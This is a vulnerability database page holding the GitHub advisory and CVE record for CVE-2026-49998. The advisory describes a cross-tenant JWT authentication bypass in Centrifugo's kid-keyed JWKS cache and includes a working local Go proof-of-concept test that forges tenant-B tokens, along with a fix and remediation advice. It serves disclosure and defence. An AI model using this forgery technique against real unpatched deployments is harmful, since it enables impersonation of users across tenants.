Vulnerability-Lookup

GHSA-G6VG-WJ8F-48CJ

Vulnerability from github – Published: 2026-07-01 20:28 – Updated: 2026-07-01 20:28

Summary

Centrifugo's dynamic JWKS key cache keyed only by `kid` allows cross-issuer JWT authentication bypass

Details

Summary

Centrifugo's dynamic JWKS endpoint feature can verify a JWT for one allowed issuer using a public key cached from another allowed issuer. The JWKS cache and singleflight lookup are keyed only by the JWT header kid, not by the resolved JWKS endpoint, issuer, audience, or other trust-domain namespace.

In a documented multi-issuer dynamic JWKS configuration, an attacker who can obtain or mint a valid token for issuer/tenant A can authenticate as issuer/tenant B if both JWKS documents use the same kid value and tenant A's key is cached first. This affects connection token verification and subscription token verification because both paths use the same JWKS verification manager.

Details

The vulnerable path is reachable when either of these shipped configuration options is set to a templated JWKS URL using values derived from JWT iss or aud claims:

client.token.jwks_public_endpoint
client.subscription_token.jwks_public_endpoint

Relevant shipped config fields are defined in internal/configtypes/types.go:59-65, mapped into verifier configuration in internal/confighelpers/jwt.go:36-41, and exposed in the generated config schema at internal/cli/configdoc/schema.json:3927, 3947, 3967, 3987, 4069, 4089, 4109, and 4129. Dynamic JWKS endpoints based on iss and aud are documented in the project changelog at CHANGELOG.md:107.

External clients control JWT connection and subscription tokens:

Connection tokens reach VerifyConnectToken from internal/client/handler.go:350-352.
Normal subscription tokens reach VerifySubscribeToken from internal/client/handler.go:769-775.
Subscription refresh tokens reach VerifySubscribeToken from internal/client/handler.go:628-632.

The verifier must parse token claims before signature verification to resolve the dynamic JWKS endpoint:

VerifyConnectToken parses without verification at internal/jwtverify/token_verifier_jwt.go:528-535, extracts template variables before signature verification at internal/jwtverify/token_verifier_jwt.go:539-548, then validates claims only after signature verification at internal/jwtverify/token_verifier_jwt.go:557-560.
VerifySubscribeToken follows the same pattern at internal/jwtverify/token_verifier_jwt.go:700-732.

The problem is that the JWKS cache lookup ignores the endpoint/trust domain selected by those token variables. internal/jwtverify/token_verifier_jwt.go:242-245 passes only the JWT header kid plus token-derived variables to the JWKS manager:

func (j *jwksManager) verify(token *jwt.Token, tokenVars map[string]any) error {
    kid := token.Header().KeyID

    key, err := j.Manager.FetchKey(context.Background(), kid, tokenVars)

internal/jwks/manager.go:96-117 checks cache and singleflight using only kid:

func (m *Manager) FetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) {
    if kid == "" {
        return nil, ErrKeyIDNotProvided
    }

    if m.useCache {
        key, err := m.cache.Get(kid)
        if err == nil {
            return key, nil
        }
    }

    v, err, _ := m.group.Do(kid, func() (any, error) {
        return m.fetchKey(ctx, kid, tokenVars)
    })

The resolved JWKS URL is computed only later in internal/jwks/manager.go:133-149:

func (m *Manager) fetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) {
    jwkURL := m.url.ExecuteString(tokenVars)
    ...
    req, err := http.NewRequestWithContext(ctx, http.MethodGet, jwkURL, nil)

The TTL cache also stores and retrieves keys only by kid at internal/jwks/cache_ttl.go:82-101:

func (tc *TTLCache) Add(key *JWK) error {
    ...
    tc.items[key.Kid] = item
}

func (tc *TTLCache) Get(kid string) (*JWK, error) {
    ...
    item, ok := tc.items[kid]

As a result, a key fetched from tenant A's JWKS endpoint can be reused to verify a token claiming tenant B before tenant B's JWKS endpoint is consulted.

I also reviewed the template safety mitigation in internal/jwtverify/validate.go:99-154. It restricts placeholder regex groups to finite literal alternatives, which helps prevent arbitrary endpoint substitution, but it does not scope cached keys by the resolved endpoint or issuer/audience namespace. The PoC uses a validator-accepted issuer regex: ^(?P<tenant>tenant-a|tenant-b)$.

PoC

This is a safe local-only unit test using httptest.Server and generated RSA key pairs. It does not contact external systems.

From a clean checkout of centrifugal/centrifugo at commit 458ee0500f046877d7e8375e32f5e842bc95535b, add this file as internal/jwtverify/jwks_cache_poc_test.go:

package jwtverify

import (
    "crypto/rsa"
    "encoding/json"
    "net/http"
    "net/http/httptest"
    "sync/atomic"
    "testing"
    "time"

    "github.com/centrifugal/centrifugo/v6/internal/config"

    "github.com/cristalhq/jwt/v5"
    "github.com/stretchr/testify/require"
)

func writeRSAJWKS(t *testing.T, w http.ResponseWriter, pubKey *rsa.PublicKey, kid string) {
    t.Helper()
    resp := map[string]any{
        "keys": []map[string]string{
            {
                "alg": "RS256",
                "kty": "RSA",
                "use": "sig",
                "kid": kid,
                "n":   encodeToString(pubKey.N.Bytes()),
                "e":   encodeUint64ToString(uint64(pubKey.E)),
            },
        },
    }
    w.Header().Set("Content-Type", "application/json")
    require.NoError(t, json.NewEncoder(w).Encode(resp))
}

func getRSAIssuerConnToken(t *testing.T, user string, issuer string, rsaPrivateKey *rsa.PrivateKey, kid string) string {
    t.Helper()
    signer, err := jwt.NewSignerRS(jwt.RS256, rsaPrivateKey)
    require.NoError(t, err)
    builder := jwt.NewBuilder(signer, jwt.WithKeyID(kid))
    claims := &ConnectTokenClaims{
        Base64Info: "e30=",
        RegisteredClaims: jwt.RegisteredClaims{
            Subject:   user,
            Issuer:    issuer,
            ExpiresAt: jwt.NewNumericDate(time.Now().Add(time.Hour)),
        },
    }
    token, err := builder.Build(claims)
    require.NoError(t, err)
    return token.String()
}

func TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC(t *testing.T) {
    const kid = "shared-kid"

    tenantAPrivateKey, tenantAPublicKey := generateTestRSAKeys(t)
    tenantBPrivateKey, tenantBPublicKey := generateTestRSAKeys(t)

    var tenantARequests int32
    var tenantBRequests int32

    ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        switch r.URL.Path {
        case "/tenant-a/jwks.json":
            atomic.AddInt32(&tenantARequests, 1)
            writeRSAJWKS(t, w, tenantAPublicKey, kid)
        case "/tenant-b/jwks.json":
            atomic.AddInt32(&tenantBRequests, 1)
            writeRSAJWKS(t, w, tenantBPublicKey, kid)
        default:
            http.NotFound(w, r)
        }
    }))
    defer ts.Close()

    cfg := config.DefaultConfig()
    cfgContainer, err := config.NewContainer(cfg)
    require.NoError(t, err)

    newVerifier := func() *VerifierJWT {
        verifier, err := NewTokenVerifierJWT(VerifierConfig{
            JWKSPublicEndpoint: ts.URL + "/{{tenant}}/jwks.json",
            IssuerRegex:        `^(?P<tenant>tenant-a|tenant-b)$`,
        }, cfgContainer)
        require.NoError(t, err)
        return verifier
    }

    legitimateTenantAToken := getRSAIssuerConnToken(t, "tenant-a-user", "tenant-a", tenantAPrivateKey, kid)
    legitimateTenantBToken := getRSAIssuerConnToken(t, "tenant-b-user", "tenant-b", tenantBPrivateKey, kid)
    forgedTenantBToken := getRSAIssuerConnToken(t, "victim", "tenant-b", tenantAPrivateKey, kid)

    ct, err := newVerifier().VerifyConnectToken(legitimateTenantBToken, false)
    require.NoError(t, err)
    require.Equal(t, "tenant-b-user", ct.UserID)

    _, err = newVerifier().VerifyConnectToken(forgedTenantBToken, false)
    require.Error(t, err)

    verifier := newVerifier()
    ct, err = verifier.VerifyConnectToken(legitimateTenantAToken, false)
    require.NoError(t, err)
    require.Equal(t, "tenant-a-user", ct.UserID)

    tenantBRequestsBeforeForge := atomic.LoadInt32(&tenantBRequests)
    ct, err = verifier.VerifyConnectToken(forgedTenantBToken, false)
    require.NoError(t, err)
    require.Equal(t, "victim", ct.UserID)
    require.Equal(t, tenantBRequestsBeforeForge, atomic.LoadInt32(&tenantBRequests))
}

Run the focused test with the project-supported Go toolchain:

go test ./internal/jwtverify -run TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC -count=1 -v

Observed vulnerable output in my local test environment using Go 1.26.3:

=== RUN   TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC
{"level":"info","endpoint":"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json","time":"2026-05-21T23:49:28+07:00","message":"JWKS manager created"}
{"level":"info","endpoint":"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json","time":"2026-05-21T23:49:28+07:00","message":"JWKS manager created"}
{"level":"info","endpoint":"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json","time":"2026-05-21T23:49:28+07:00","message":"JWKS manager created"}
--- PASS: TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC (0.07s)
PASS
ok      github.com/centrifugal/centrifugo/v6/internal/jwtverify 0.088s

The passing test demonstrates the vulnerable behavior because it asserts these controls:

A legitimate tenant-B token signed by tenant B succeeds with a fresh verifier.
A forged tenant-B token signed by tenant A fails with a fresh verifier.
A legitimate tenant-A token succeeds and primes the JWKS cache with tenant A's shared-kid key.
The forged tenant-B token signed by tenant A then succeeds with user ID victim.
The tenant-B JWKS request counter does not increase during forged verification, proving the forged token was accepted from the cross-tenant cache hit rather than from tenant B's JWKS endpoint.

Expected behavior after a fix: the forged tenant-B token should remain rejected after tenant A primes the cache, or the verifier should fetch/consult tenant B's independent JWKS cache namespace before verification.

Impact

This is a cross-issuer / cross-tenant JWT authentication bypass in dynamic JWKS deployments.

Impacted deployments are those that use dynamic JWKS endpoint templates to select different JWKS URLs for different allowed issuers or audiences, for example multi-tenant deployments using {{tenant}} values extracted from iss or aud.

An attacker who can obtain or mint a valid token for one allowed issuer/tenant can authenticate as another allowed issuer/tenant if both JWKS documents use the same kid value and the attacker's issuer key is cached first. kid values are not globally unique by specification and are often operational labels such as current, default, or rotation identifiers, so the verifier should not rely on kid uniqueness across different JWKS trust domains.

Potential consequences include:

Authentication as a user in another issuer/tenant namespace.
Unauthorized connection-token acceptance.
Unauthorized subscription-token acceptance where separate subscription JWTs are configured.
Cross-tenant confidentiality and integrity impact when issuer-derived JWKS endpoints are used as separate trust domains.

Suggested remediation

Scope JWKS cache entries and singleflight keys to the resolved JWKS trust domain, not only to the JWT kid.

For dynamic endpoints, compute the endpoint namespace before cache lookup and use a composite cache key such as:

resolved_jwks_url + "\x00" + kid

or an equivalent canonical trust-domain identifier plus kid.

The same composite namespace should be used for:

TTL cache lookup.
TTL cache storage.
singleflight.Group.Do keys.

A regression test should prime tenant A's cache and then verify that a forged tenant-B token signed by tenant A remains rejected.

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.8.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/centrifugal/centrifugo/v6"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/centrifugal/centrifugo/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.4.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/centrifugal/centrifugo/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/centrifugal/centrifugo/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/centrifugal/centrifugo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49998"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-01T20:28:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "#### Summary\n\nCentrifugo\u0027s dynamic JWKS endpoint feature can verify a JWT for one allowed issuer using a public key cached from another allowed issuer. The JWKS cache and `singleflight` lookup are keyed only by the JWT header `kid`, not by the resolved JWKS endpoint, issuer, audience, or other trust-domain namespace.\n\nIn a documented multi-issuer dynamic JWKS configuration, an attacker who can obtain or mint a valid token for issuer/tenant A can authenticate as issuer/tenant B if both JWKS documents use the same `kid` value and tenant A\u0027s key is cached first. This affects connection token verification and subscription token verification because both paths use the same JWKS verification manager.\n\n#### Details\n\nThe vulnerable path is reachable when either of these shipped configuration options is set to a templated JWKS URL using values derived from JWT `iss` or `aud` claims:\n\n- `client.token.jwks_public_endpoint`\n- `client.subscription_token.jwks_public_endpoint`\n\nRelevant shipped config fields are defined in `internal/configtypes/types.go:59-65`, mapped into verifier configuration in `internal/confighelpers/jwt.go:36-41`, and exposed in the generated config schema at `internal/cli/configdoc/schema.json:3927`, `3947`, `3967`, `3987`, `4069`, `4089`, `4109`, and `4129`. Dynamic JWKS endpoints based on `iss` and `aud` are documented in the project changelog at `CHANGELOG.md:107`.\n\nExternal clients control JWT connection and subscription tokens:\n\n- Connection tokens reach `VerifyConnectToken` from `internal/client/handler.go:350-352`.\n- Normal subscription tokens reach `VerifySubscribeToken` from `internal/client/handler.go:769-775`.\n- Subscription refresh tokens reach `VerifySubscribeToken` from `internal/client/handler.go:628-632`.\n\nThe verifier must parse token claims before signature verification to resolve the dynamic JWKS endpoint:\n\n- `VerifyConnectToken` parses without verification at `internal/jwtverify/token_verifier_jwt.go:528-535`, extracts template variables before signature verification at `internal/jwtverify/token_verifier_jwt.go:539-548`, then validates claims only after signature verification at `internal/jwtverify/token_verifier_jwt.go:557-560`.\n- `VerifySubscribeToken` follows the same pattern at `internal/jwtverify/token_verifier_jwt.go:700-732`.\n\nThe problem is that the JWKS cache lookup ignores the endpoint/trust domain selected by those token variables. `internal/jwtverify/token_verifier_jwt.go:242-245` passes only the JWT header `kid` plus token-derived variables to the JWKS manager:\n\n```go\nfunc (j *jwksManager) verify(token *jwt.Token, tokenVars map[string]any) error {\n    kid := token.Header().KeyID\n\n    key, err := j.Manager.FetchKey(context.Background(), kid, tokenVars)\n```\n\n`internal/jwks/manager.go:96-117` checks cache and `singleflight` using only `kid`:\n\n```go\nfunc (m *Manager) FetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) {\n    if kid == \"\" {\n        return nil, ErrKeyIDNotProvided\n    }\n\n    if m.useCache {\n        key, err := m.cache.Get(kid)\n        if err == nil {\n            return key, nil\n        }\n    }\n\n    v, err, _ := m.group.Do(kid, func() (any, error) {\n        return m.fetchKey(ctx, kid, tokenVars)\n    })\n```\n\nThe resolved JWKS URL is computed only later in `internal/jwks/manager.go:133-149`:\n\n```go\nfunc (m *Manager) fetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) {\n    jwkURL := m.url.ExecuteString(tokenVars)\n    ...\n    req, err := http.NewRequestWithContext(ctx, http.MethodGet, jwkURL, nil)\n```\n\nThe TTL cache also stores and retrieves keys only by `kid` at `internal/jwks/cache_ttl.go:82-101`:\n\n```go\nfunc (tc *TTLCache) Add(key *JWK) error {\n    ...\n    tc.items[key.Kid] = item\n}\n\nfunc (tc *TTLCache) Get(kid string) (*JWK, error) {\n    ...\n    item, ok := tc.items[kid]\n```\n\nAs a result, a key fetched from tenant A\u0027s JWKS endpoint can be reused to verify a token claiming tenant B before tenant B\u0027s JWKS endpoint is consulted.\n\nI also reviewed the template safety mitigation in `internal/jwtverify/validate.go:99-154`. It restricts placeholder regex groups to finite literal alternatives, which helps prevent arbitrary endpoint substitution, but it does not scope cached keys by the resolved endpoint or issuer/audience namespace. The PoC uses a validator-accepted issuer regex: `^(?P\u003ctenant\u003etenant-a|tenant-b)$`.\n\n#### PoC\n\nThis is a safe local-only unit test using `httptest.Server` and generated RSA key pairs. It does not contact external systems.\n\nFrom a clean checkout of `centrifugal/centrifugo` at commit `458ee0500f046877d7e8375e32f5e842bc95535b`, add this file as `internal/jwtverify/jwks_cache_poc_test.go`:\n\n```go\npackage jwtverify\n\nimport (\n    \"crypto/rsa\"\n    \"encoding/json\"\n    \"net/http\"\n    \"net/http/httptest\"\n    \"sync/atomic\"\n    \"testing\"\n    \"time\"\n\n    \"github.com/centrifugal/centrifugo/v6/internal/config\"\n\n    \"github.com/cristalhq/jwt/v5\"\n    \"github.com/stretchr/testify/require\"\n)\n\nfunc writeRSAJWKS(t *testing.T, w http.ResponseWriter, pubKey *rsa.PublicKey, kid string) {\n    t.Helper()\n    resp := map[string]any{\n        \"keys\": []map[string]string{\n            {\n                \"alg\": \"RS256\",\n                \"kty\": \"RSA\",\n                \"use\": \"sig\",\n                \"kid\": kid,\n                \"n\":   encodeToString(pubKey.N.Bytes()),\n                \"e\":   encodeUint64ToString(uint64(pubKey.E)),\n            },\n        },\n    }\n    w.Header().Set(\"Content-Type\", \"application/json\")\n    require.NoError(t, json.NewEncoder(w).Encode(resp))\n}\n\nfunc getRSAIssuerConnToken(t *testing.T, user string, issuer string, rsaPrivateKey *rsa.PrivateKey, kid string) string {\n    t.Helper()\n    signer, err := jwt.NewSignerRS(jwt.RS256, rsaPrivateKey)\n    require.NoError(t, err)\n    builder := jwt.NewBuilder(signer, jwt.WithKeyID(kid))\n    claims := \u0026ConnectTokenClaims{\n        Base64Info: \"e30=\",\n        RegisteredClaims: jwt.RegisteredClaims{\n            Subject:   user,\n            Issuer:    issuer,\n            ExpiresAt: jwt.NewNumericDate(time.Now().Add(time.Hour)),\n        },\n    }\n    token, err := builder.Build(claims)\n    require.NoError(t, err)\n    return token.String()\n}\n\nfunc TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC(t *testing.T) {\n    const kid = \"shared-kid\"\n\n    tenantAPrivateKey, tenantAPublicKey := generateTestRSAKeys(t)\n    tenantBPrivateKey, tenantBPublicKey := generateTestRSAKeys(t)\n\n    var tenantARequests int32\n    var tenantBRequests int32\n\n    ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n        switch r.URL.Path {\n        case \"/tenant-a/jwks.json\":\n            atomic.AddInt32(\u0026tenantARequests, 1)\n            writeRSAJWKS(t, w, tenantAPublicKey, kid)\n        case \"/tenant-b/jwks.json\":\n            atomic.AddInt32(\u0026tenantBRequests, 1)\n            writeRSAJWKS(t, w, tenantBPublicKey, kid)\n        default:\n            http.NotFound(w, r)\n        }\n    }))\n    defer ts.Close()\n\n    cfg := config.DefaultConfig()\n    cfgContainer, err := config.NewContainer(cfg)\n    require.NoError(t, err)\n\n    newVerifier := func() *VerifierJWT {\n        verifier, err := NewTokenVerifierJWT(VerifierConfig{\n            JWKSPublicEndpoint: ts.URL + \"/{{tenant}}/jwks.json\",\n            IssuerRegex:        `^(?P\u003ctenant\u003etenant-a|tenant-b)$`,\n        }, cfgContainer)\n        require.NoError(t, err)\n        return verifier\n    }\n\n    legitimateTenantAToken := getRSAIssuerConnToken(t, \"tenant-a-user\", \"tenant-a\", tenantAPrivateKey, kid)\n    legitimateTenantBToken := getRSAIssuerConnToken(t, \"tenant-b-user\", \"tenant-b\", tenantBPrivateKey, kid)\n    forgedTenantBToken := getRSAIssuerConnToken(t, \"victim\", \"tenant-b\", tenantAPrivateKey, kid)\n\n    ct, err := newVerifier().VerifyConnectToken(legitimateTenantBToken, false)\n    require.NoError(t, err)\n    require.Equal(t, \"tenant-b-user\", ct.UserID)\n\n    _, err = newVerifier().VerifyConnectToken(forgedTenantBToken, false)\n    require.Error(t, err)\n\n    verifier := newVerifier()\n    ct, err = verifier.VerifyConnectToken(legitimateTenantAToken, false)\n    require.NoError(t, err)\n    require.Equal(t, \"tenant-a-user\", ct.UserID)\n\n    tenantBRequestsBeforeForge := atomic.LoadInt32(\u0026tenantBRequests)\n    ct, err = verifier.VerifyConnectToken(forgedTenantBToken, false)\n    require.NoError(t, err)\n    require.Equal(t, \"victim\", ct.UserID)\n    require.Equal(t, tenantBRequestsBeforeForge, atomic.LoadInt32(\u0026tenantBRequests))\n}\n```\n\nRun the focused test with the project-supported Go toolchain:\n\n```bash\ngo test ./internal/jwtverify -run TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC -count=1 -v\n```\n\nObserved vulnerable output in my local test environment using Go 1.26.3:\n\n```text\n=== RUN   TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC\n{\"level\":\"info\",\"endpoint\":\"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json\",\"time\":\"2026-05-21T23:49:28+07:00\",\"message\":\"JWKS manager created\"}\n{\"level\":\"info\",\"endpoint\":\"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json\",\"time\":\"2026-05-21T23:49:28+07:00\",\"message\":\"JWKS manager created\"}\n{\"level\":\"info\",\"endpoint\":\"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json\",\"time\":\"2026-05-21T23:49:28+07:00\",\"message\":\"JWKS manager created\"}\n--- PASS: TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC (0.07s)\nPASS\nok  \tgithub.com/centrifugal/centrifugo/v6/internal/jwtverify\t0.088s\n```\n\nThe passing test demonstrates the vulnerable behavior because it asserts these controls:\n\n1. A legitimate tenant-B token signed by tenant B succeeds with a fresh verifier.\n2. A forged tenant-B token signed by tenant A fails with a fresh verifier.\n3. A legitimate tenant-A token succeeds and primes the JWKS cache with tenant A\u0027s `shared-kid` key.\n4. The forged tenant-B token signed by tenant A then succeeds with user ID `victim`.\n5. The tenant-B JWKS request counter does not increase during forged verification, proving the forged token was accepted from the cross-tenant cache hit rather than from tenant B\u0027s JWKS endpoint.\n\nExpected behavior after a fix: the forged tenant-B token should remain rejected after tenant A primes the cache, or the verifier should fetch/consult tenant B\u0027s independent JWKS cache namespace before verification.\n\n#### Impact\n\nThis is a cross-issuer / cross-tenant JWT authentication bypass in dynamic JWKS deployments.\n\nImpacted deployments are those that use dynamic JWKS endpoint templates to select different JWKS URLs for different allowed issuers or audiences, for example multi-tenant deployments using `{{tenant}}` values extracted from `iss` or `aud`.\n\nAn attacker who can obtain or mint a valid token for one allowed issuer/tenant can authenticate as another allowed issuer/tenant if both JWKS documents use the same `kid` value and the attacker\u0027s issuer key is cached first. `kid` values are not globally unique by specification and are often operational labels such as `current`, `default`, or rotation identifiers, so the verifier should not rely on `kid` uniqueness across different JWKS trust domains.\n\nPotential consequences include:\n\n- Authentication as a user in another issuer/tenant namespace.\n- Unauthorized connection-token acceptance.\n- Unauthorized subscription-token acceptance where separate subscription JWTs are configured.\n- Cross-tenant confidentiality and integrity impact when issuer-derived JWKS endpoints are used as separate trust domains.\n\n#### Suggested remediation\n\nScope JWKS cache entries and `singleflight` keys to the resolved JWKS trust domain, not only to the JWT `kid`.\n\nFor dynamic endpoints, compute the endpoint namespace before cache lookup and use a composite cache key such as:\n\n```text\nresolved_jwks_url + \"\\x00\" + kid\n```\n\nor an equivalent canonical trust-domain identifier plus `kid`.\n\nThe same composite namespace should be used for:\n\n- TTL cache lookup.\n- TTL cache storage.\n- `singleflight.Group.Do` keys.\n\nA regression test should prime tenant A\u0027s cache and then verify that a forged tenant-B token signed by tenant A remains rejected.",
  "id": "GHSA-g6vg-wj8f-48cj",
  "modified": "2026-07-01T20:28:52Z",
  "published": "2026-07-01T20:28:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/centrifugal/centrifugo/security/advisories/GHSA-g6vg-wj8f-48cj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/centrifugal/centrifugo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Centrifugo\u0027s dynamic JWKS key cache keyed only by `kid` allows cross-issuer JWT authentication bypass"
}

CVE-2026-49998 (GCVE-0-2026-49998)

Vulnerability from cvelistv5 – Published: 2026-07-16 19:33 – Updated: 2026-07-17 11:13

Title

Centrifugo: Dynamic JWKS key cache keyed only by `kid` allows cross-issuer JWT authentication bypass

Summary

Centrifugo is an open-source scalable real-time messaging server. Prior to 6.8.1, Centrifugo dynamic JWKS endpoint verification could reuse a key for one allowed issuer to verify a JWT for another allowed issuer because the JWKS cache and singleflight lookup were keyed only by JWT header kid, not by the resolved JWKS endpoint, issuer, audience, or trust-domain namespace, affecting client.token.jwks_public_endpoint, client.subscription_token.jwks_public_endpoint, internal/jwks/cache.go, and internal/jwks/manager.go. This issue is fixed in version 6.8.1.

Severity

8.2 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-347 - Improper Verification of Cryptographic Signature

Assigner

GitHub_M

References

4 references

URL	Tags
https://github.com/centrifugal/centrifugo/securit…	x_refsource_CONFIRM
https://github.com/centrifugal/centrifugo/pull/1142	x_refsource_MISC
https://github.com/centrifugal/centrifugo/commit/…	x_refsource_MISC
https://github.com/centrifugal/centrifugo/release…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
centrifugal	centrifugo	Affected: < 6.8.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-49998",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-17T11:13:16.710942Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-17T11:13:39.150Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/centrifugal/centrifugo/security/advisories/GHSA-g6vg-wj8f-48cj"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "centrifugo",
          "vendor": "centrifugal",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 6.8.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Centrifugo is an open-source scalable real-time messaging server. Prior to 6.8.1, Centrifugo dynamic JWKS endpoint verification could reuse a key for one allowed issuer to verify a JWT for another allowed issuer because the JWKS cache and singleflight lookup were keyed only by JWT header kid, not by the resolved JWKS endpoint, issuer, audience, or trust-domain namespace, affecting client.token.jwks_public_endpoint, client.subscription_token.jwks_public_endpoint, internal/jwks/cache.go, and internal/jwks/manager.go. This issue is fixed in version 6.8.1."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-347",
              "description": "CWE-347: Improper Verification of Cryptographic Signature",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-16T19:33:33.147Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/centrifugal/centrifugo/security/advisories/GHSA-g6vg-wj8f-48cj",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/centrifugal/centrifugo/security/advisories/GHSA-g6vg-wj8f-48cj"
        },
        {
          "name": "https://github.com/centrifugal/centrifugo/pull/1142",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/centrifugal/centrifugo/pull/1142"
        },
        {
          "name": "https://github.com/centrifugal/centrifugo/commit/15d785015c6f318c1b68ea40b813699c9f8bd2c4",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/centrifugal/centrifugo/commit/15d785015c6f318c1b68ea40b813699c9f8bd2c4"
        },
        {
          "name": "https://github.com/centrifugal/centrifugo/releases/tag/v6.8.1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/centrifugal/centrifugo/releases/tag/v6.8.1"
        }
      ],
      "source": {
        "advisory": "GHSA-g6vg-wj8f-48cj",
        "discovery": "UNKNOWN"
      },
      "title": "Centrifugo: Dynamic JWKS key cache keyed only by `kid` allows cross-issuer JWT authentication bypass"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-49998",
    "datePublished": "2026-07-16T19:33:33.147Z",
    "dateReserved": "2026-06-02T18:30:51.283Z",
    "dateUpdated": "2026-07-17T11:13:39.150Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

